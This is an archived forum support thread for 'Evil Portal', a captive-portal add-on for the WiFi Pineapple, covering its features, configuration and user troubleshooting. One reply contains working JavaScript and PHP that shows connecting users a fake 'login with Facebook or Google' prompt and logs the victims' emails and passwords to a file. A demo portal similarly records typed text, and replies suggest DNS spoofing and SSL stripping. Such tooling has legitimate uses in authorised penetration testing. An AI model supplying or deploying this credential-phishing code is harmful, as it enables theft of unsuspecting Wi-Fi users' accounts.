Jump to content

Archived

This topic is now archived and is closed to further replies.

Recommended Posts

Evil Portal is a UI front end for No Dog Splash Captive Portal. It makes it really simple to create a captive portal for whatever your needs are. You can do anything with it from just making someone agree to your terms of use on the pineapple to running some sort of browser exploitation that your clients are forced to visit (remember the laws where you live).

This is the Infusion support thread only! DO NOT POST NOT WORKING PORTAL CODE HERE!! If you need help with your HTML please post it in the proper place, which is the Programming forum here. I will not respond to people posting a reply saying "This portal doesn't work whats wrong with it"

UPDATE TO 2.3 NOTICE:
When updating from a previous version of evil portal to version 2.3 you should reconfigure Evil Portal.
To do this is very simple. Go to the "Change Log" tab and click where it says to click to fix the configuration.
Alternatively you could do from the command line by issuing "pineapple infusion evilportal fixconfig".
After this is complete you should reboot your pineapple.

Features

  • Spinning pineapple durring dependency installation
  • Configuration status (shows if Evil Portal has been configured or not)
  • Automatic configuration at the click of a button (w00t)
  • Automatic configuration from the command line
  • NoDogSplash running status
  • NoDogSplash auto-run status
  • New Live Portal View
  • New Dev Portal View
  • Automatically refreshing large tile
  • The small tile is no longer a "live tile"
  • Easy backing up and activation of portals

Frequently Asked Questions

Q: Does Evil Portal/NoDogSplash support PHP?

A: No, if you need to do something in PHP the files will have to be hosted on the webserver in /www on your pineapple and then iframed in or have the user redirected to it.

Q: Does the captive portal automatically open when people connect?

A: This depends on their device, iOS, and OSX devices automatically open captive portals, android devices typically do not but depending on the ROM running on the phone they might. But this is outside the scope of the Evil Portal infusion.

Q: Why isn't the captive portal automatically opening on my iOS device?

A: Short answer your pineapple needs to be connected to the internet or dns spoof *.* to 172.16.42.1.

Q: Why doesn't this code I wrote work?

A: *Sigh* I don't have the time to look at it, please don't post issue with code you write here. Post a thread in the Applications And Programming forum. If you do this you have a much better chance of more people helping you quickly and I will appreciate it.

Q: Why can't I get xfinity pineapple working?

A: Read the above answer. Xfinity Pineapple is not written or supported by me also it falls under the phishing category which is against the rules on this forum.

Media:
117gx2b.jpg

nvpehk.jpg

htcksg.jpg


Videos:


https://www.youtube.com/watch?v=zFrXWlMnOqg&list=PLW7RuuSaPPzDgrZINbNkt4ujR7RDTUCMB


Change Log

2.3
  • Fixed popups not going away automatically on 2.x firmware
  • Configuration changes that allow the webserver on port 80 to be accessed by un-authenticated users
  • Kmod-sched is no longer required so it is not installed

2.2

  • Added ability to backup portals for later use
  • Configuration changes
    • NoDogSplash now runs on port 2050
    • NGINX no longer must be configured in any way
    • A fix config option has been added in the change log tab
  • Fixed error message when there is no internet
  • Fixed issues with installing dependencies in firefox

2.1

  • Fixed kmod-sched not installing

2.0

  • Initial 2.0 Release
    • Shows a message while dependencies are being installed
    • Automatic configuration at the click of a button
    • Automatic configuration from the command line
    • NoDogSplash running status
    • NoDogSplash auto-run status
    • Live Portal Preview
    • Dev Portal Preview
    • Small Tile is no longer a "live tile"

NoDogSplash Configuration Changes Made by Evil Portal

I don't recommend changing any of the configuration manually unless you have linux configuring experience

The config file for NoDogSplash is: /etc/nodogsplash/nodogsplash.conf

The users need to be able to access the webserver running on port 80 on the pineapple before they have access authenticated to the pineapple.

Under: FirewallRuleSet preauthenticated-users {

we add: FirewallRule allow tcp port 80 to 172.16.42.1

If you were to say "FirewallRule allow tcp port 80" you would allow users access to EVERYTHING on port 80 on the internet so its very important to specify the servers ip address that you want to allow access to.

The second thing is that users need access to the wifi pineapple management interface (default port 1471) so we add some more lines:

Under: FirewallRuleSet users-to-router {

We add: FirewallRule allow tcp port 1471

The last thing that is done is uncomment GatewayPort. I don't think that that step is needed but I do it just to be safe. Search the config file for it its the only entry.

GatewayPort 2050

If you change it then the port NoDogSplash runs on will change as well

Demo Portals [THESE ARE NOT IN ANYWAY SUPPORTED PLEASE DON'T POST ABOUT THEM HERE]

How to create a portal that collects information:

https://www.youtube.com/watch?v=ci5wnLJMiw4

Demo 1

Author: newbi3

Portal Page:

<html>
<head>
  <title>$gatewayname Entry</title>
  <meta HTTP-EQUIV="Pragma" CONTENT="no-cache">

  <script type="text/javascript">

    function submitTextToCapture() {

      text = document.getElementById("userText").value;

      window.location = "http://172.16.42.1/capture.php?text=" + text + "&redir=$authtarget";

    }

  </script>

</head>
<body bgcolor="#DDDDDD" text="#000000">
<table border="0" cellpadding="2" cellspacing="0" width="100%">
<tr>
  <td align=center>
  <h2>$gatewayname</h2>
  </td>
</tr>
<tr>
  <td align=center height="120">
    
    <p>Enter some text to continue</p>

    <form id="textForm">

    <input type="text" id="userText" placeholder="enter some text" required>
    <button type="button" id="button" onclick="submitTextToCapture()">Send Text</button>

    </form>

    <a href="$authtarget">
      <img src="$imagesdir/wifidog.png" width="71" height="49" border="0"
           alt="Click to enter" title="Click to enter"> 
    </a>
  </td>
</tr>
</table>
</body>
</html>

/www/capture.php:

<?php

$text = $_GET["text"];
$redir = $_GET["redir"];

$file = fopen("stored.txt", "a");
fwrite($file, $text . "\n");
fclose($file);

echo '<script type="text/javascript">window.location = "' . $redir . '"</script$

?>

If you have a portal that you would like to see featured here please PM me the code and a screenshot. Remember to wrap your code in the

 tags

AGAIN: THESE ARE UN-SUPPORTED DEMO PORTALS. DO NOT POST QUESTIONS ABOUT THEM HERE.

Share this post


Link to post
Share on other sites

Before anyone replies to this topic I want to make it perfectly clear...

THIS SUPPORT THREAD IS FOR INFUSION SUPPORT ONLY! YOUR NOT WORKING PORTALS ARE NOT A PART OF THIS INFUSION AND SHOULD NOT BE POSTED HERE ASKING FOR HELP. THERE IS NOTHING WRONG WITH EVIL PORTAL IF YOUR PORTAL CODE (OR MY OLD PORTAL CODE) DOES NOT WORK! IT IS A SEPERATE ISSUE ENTIERLY AND SHOULD BE POSTED IN THE PROPER PLACE WHICH IS APPLICATIONS & CODING NOT HERE. I DO NOT HAVE THE TIME TO HELP EVERYONE FIX HTML AND I WOULD GREATLY APPRECIATE IT IF WE CAN STAY ON TOPIC!

In other words...

DON'T POST YOUR CODE HERE ASKING FOR HELP WITH IT! I WILL JUST DELETE YOUR POST.

Also, please refer to these FAQs before you ask a question:

Frequently Asked Questions

Q: Does Evil Portal/NoDogSplash support PHP?

A: No, if you need to do something in PHP the files will have to be hosted on the webserver in /www on your pineapple and then iframed in or have the user redirected to it.

Q: Does the captive portal automatically open when people connect?

A: This depends on their device, iOS, and OSX devices automatically open captive portals, android devices typically do not but depending on the ROM running on the phone they might. But this is outside the scope of the Evil Portal infusion.

Q: Why isn't the captive portal automatically opening on my iOS device?

A: Short answer your pineapple needs to be connected to the internet or dns spoof *.* to 172.16.42.1.

Q: Why doesn't this code I wrote work?

A: *Sigh* I don't have the time to look at it, please don't post issue with code you write here. Post a thread in the Applications And Programming forum. If you do this you have a much better chance of more people helping you quickly and I will appreciate it.

Q: Why can't I get xfinity pineapple working?

A: Read the above answer. Xfinity Pineapple is not written or supported by me also it falls under the phishing category which is against the rules on this forum.

Share this post


Link to post
Share on other sites

Hi newbi3, i need your help.

When i click on "Dev preview", "View Code" or "Activate" on my saved portals nothing happends, it only works "Delete" option.

Why it doesn't work?

Share this post


Link to post
Share on other sites

Hi newbi3, i need your help.

When i click on "Dev preview", "View Code" or "Activate" on my saved portals nothing happends, it only works "Delete" option.

Why it doesn't work?

It all works fine for me. Please open your javascript console and post any errors you have and I will address them

Share this post


Link to post
Share on other sites

The code it's too long and can't post it here... But without a deep view console says:

Uncaught Error: Syntax error, unrecognized expression: #view_sd_Chris H. Portal

I have a saved portal called Chris H. Portal... So i suppose it's aiming that.

Share this post


Link to post
Share on other sites

Save your portal again with no "." in the name and use "_" instead of spaces. I will add some regex to make sure everything is compliant in the future.

Also as a pro tip you can edit your previous post and you don't need to make a second post if no one has posted since your initial one. It makes stuff a lot cleaner

Share this post


Link to post
Share on other sites

Save your portal again with no "." in the name and use "_" instead of spaces. I will add some regex to make sure everything is compliant in the future.

Also as a pro tip you can edit your previous post and you don't need to make a second post if no one has posted since your initial one. It makes stuff a lot cleaner

Thanks i will try it now ;)

Hahaha, don't worry, i deleted the old post :D

EDIT: Ok, now it's fixed! Thanks newbi3.

Share this post


Link to post
Share on other sites

Hi newbi3, i need your help.

When i click on "Dev preview", "View Code" or "Activate" on my saved portals nothing happends, it only works "Delete" option.

Why it doesn't work?

I could be that your saved portal is saved to your sdcard. If thats the case, you need to navigate to /sd/portals on your pineapple, copy and resave to the internal storage and delete the old one from there while your at it. Hope this helped... #learnedthehardway or update to version 2.3

Share this post


Link to post
Share on other sites

hey newbi3, thanks for releasing Evilportal - it's awesome.

I've been trying to run Occupineapple alongside Evilportal to create a multi user environment for editing the Occupineapple SSID list, where 'input_SSID' would run the captive portal for people to connect to (with some PHP to append entries to the list file), and then Occupineapple (on wlan1) spits everything out when the list is refreshed.

The problem I keep having however, is that the standard configuration (or 'auto') doesn't seem to allow Evilportal and Occupineapple to run at the same time (possibly because the auto config puts Evilportal on 'br-lan'?). Do you have any suggestions on what the correct configuration should be, and where to set this?

cheers

Share this post


Link to post
Share on other sites

hey newbi3, thanks for releasing Evilportal - it's awesome.

I've been trying to run Occupineapple alongside Evilportal to create a multi user environment for editing the Occupineapple SSID list, where 'input_SSID' would run the captive portal for people to connect to (with some PHP to append entries to the list file), and then Occupineapple (on wlan1) spits everything out when the list is refreshed.

The problem I keep having however, is that the standard configuration (or 'auto') doesn't seem to allow Evilportal and Occupineapple to run at the same time (possibly because the auto config puts Evilportal on 'br-lan'?). Do you have any suggestions on what the correct configuration should be, and where to set this?

cheers

Are you referring to the auto config feature or the auto-startup?

Share this post


Link to post
Share on other sites

auto config,

thanks

Have you made any configuration changes that fixed your issue? If so please post them and I'll include them in the next update

Share this post


Link to post
Share on other sites

no sry,

so far I've not been able to set this up correctly, although it was suggested twice now on the forum that running Evilportal and Occupineapple side-by-side should be no problem....

I've got the code from your tutorial to pipe entries into the SSID list, but still need a coherent configuration for both interfaces, i.e. wlan0 and wlan1

if i can get this working properly I'll surely make some good documentation on the process,

any help greatly appreciated!

Share this post


Link to post
Share on other sites

Are you talking about when a user connects or all the time? If its all the time you are looking at the wrong tool, you should look at DNS Spoof (with DNS Spoof you could make google point to your evilportal)

Share this post


Link to post
Share on other sites

I notice my evilportal doesn't work when i type a ssl web, for example:

When i type: www.yolo.com it shows my captive portal.

When i type: www.gmail.com (https loads) and my browser says 'Can not connect'.

I don't know if this is normal or not...

Share this post


Link to post
Share on other sites

I notice my evilportal doesn't work when i type a ssl web, for example:

When i type: www.yolo.com it shows my captive portal.

When i type: www.gmail.com (https loads) and my browser says 'Can not connect'.

I don't know if this is normal or not...

The captive portal doesn't do SSL.

Even if it did, it would serve you a self signed certificate, so it would give you an error message.

Best Regards,

Sebkinne

Share this post


Link to post
Share on other sites

The captive portal doesn't do SSL.

Even if it did, it would serve you a self signed certificate, so it would give you an error message.

Best Regards,

Sebkinne

But is there a way to detect https and redirect to the captive portal with a http url and then redirect again to the https Web?

Share this post


Link to post
Share on other sites

But is there a way to detect https and redirect to the captive portal with a http url and then redirect again to the https Web?

Nope, your browser won't allow that. It expects https and will not settle for anything lower.

Share this post


Link to post
Share on other sites

Use Evil Portal in conjunction with SSL Strip

Share this post


Link to post
Share on other sites

Posting this here because newbi3 asked me to. This goes outside the scope of the support for Evil Portal so don't ask any questions about it here. This is strictly for everyone's information.

For those having issues using PHP I have a solution I discovered today. If you place your PHP, JavaScript, and CSS files in the /www directory you can import them into the splash.html page by using your Pineapple's IP address that is also recorded in the preauthenticated_users area of the Evil Portal configuration. Here are some examples of how I got an Ajax call to send the username and password entered by a victim to an auth.php script and log it to auth.log.

Within splash.html

<script src="//172.16.42.1/nodogsplash/jquery.min.js"></script> 

As you can probably guess in /www I created a new directory called nodogsplash and placed my jquery.min.js file there. This way when the splash.html page tries to access it on behalf of the victim it doesn't return the splash.html page code (due to a redirect not allowing the user past the captive portal). This same method can be applied to your PHP scripts.

<script>
    $(function() {
        $("#submit_button").on("click", function() {
            var email_addr = $('#email').val();
            var pass = $('#password').val();
            if (email_addr == "" || pass == "") {
                alert("Please login with your Facebook or Google account to access free Wi-Fi.");
                    return;
                } else {
                    $.ajax({
                        type: "POST",
                        url: "//172.16.42.1/nodogsplash/auth.php",
                        data: {email: email_addr,
                               password: pass},
                        dataType: 'json',
                        success: function(data, textStatus, jqXHR) {
                            window.location.href="$authtarget";
                        },
                        error: function(data, textStatus, errorThrown) {
                            window.location.href="$authtarget";
                        }
                    });
                }
             });
    });
</script>

In the code above I first perform a check to ensure the victim has entered their username and password then send the data off to my auth.php script in /www/nodogsplash where it is logged in auth.log. Right now it authenticates the user regardless of whether the call to auth.php was successful or not but I'll change that soon.

And just for the purpose of completion here is my auth.php script so you can see exactly what is happening when the AJAX call is made.

<?php
 
if (isset($_POST['email'])) {
        $fh = fopen('auth.log', 'a+');
        fwrite($fh, "Email:  " . $_POST['email'] . "\n");
        fwrite($fh, "Pass:  " . $_POST['password'] . "\n\n");
        fclose($fh);
        return;
} else {
        header('Location: splash.html');
}
 
?> 

I have tested this and it works for me so I hope this helps everyone who is having trouble with using JavaScript and PHP in nodogsplash.

Share this post


Link to post
Share on other sites

I am running Evil Portal 2.3 on firmware version 2.0.4. I've read through the configuration instructions, watched the instructional videos, and attempted to configure NoDogSplash as best I can. But when I have a test victim pc connect to the pineapple AP, attempt to browse to a page (zombo.com), get redirected to the default nodogsplash page, and click the dog icon then the victim is never redirected to their original destination (zombo.com). The victim's browser request times out.

How do I debug this? What step(s) am I missing?

Share this post


Link to post
Share on other sites

I am running Evil Portal 2.3 on firmware version 2.0.4. I've read through the configuration instructions, watched the instructional videos, and attempted to configure NoDogSplash as best I can. But when I have a test victim pc connect to the pineapple AP, attempt to browse to a page (zombo.com), get redirected to the default nodogsplash page, and click the dog icon then the victim is never redirected to their original destination (zombo.com). The victim's browser request times out.

How do I debug this? What step(s) am I missing?

Sounds like your pineapple doesn't have an internet connection. Also do the automatic configuration, the manual configuration is for users who want a custom configuration really

Share this post


Link to post
Share on other sites

Sounds like your pineapple doesn't have an internet connection. Also do the automatic configuration, the manual configuration is for users who want a custom configuration really

Before turning on nodogsplash (nds) I was able to ssh into the pineapple and ping an external web site to verify network connectivity. But then once I turned on nds, I would lose external connectivity but still be able to ping other computers in the 172.16.0.0/16 range. Also, I did try clicking the automatic configuration like you recommended. It would seem as I'm cutting off my own tree branch, so to speak, when turning on nds. Should I be adding a MAC address to the trusted clients list in the nds config?

Also -- is this an advisable networking setup?? I currently have a control pc directly tethered to the pineapple over ethernet. The control PC is connected to 'GoodWLAN' and shares its internet connection to the pineapple. The pineapple is broadcasting 'EvilWLAN' and my victim pc is connected to that. This works as long as nds is turned off. As soon as I turn on nds, the control pc gets kicked off 'GoodWLAN'.

Or, should I turn off the wifi radio on the controller pc to instead be a dhcp client to the pineapple? (I would then need to configure the pineapple to connect to GoodWLAN to get external internet access.)

Share this post


Link to post
Share on other sites

I don't think you have your internet connection sharing setup properly. It seems like your traffic is trying to be router through the pineapple. What OS are you using?

Share this post


Link to post
Share on other sites

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...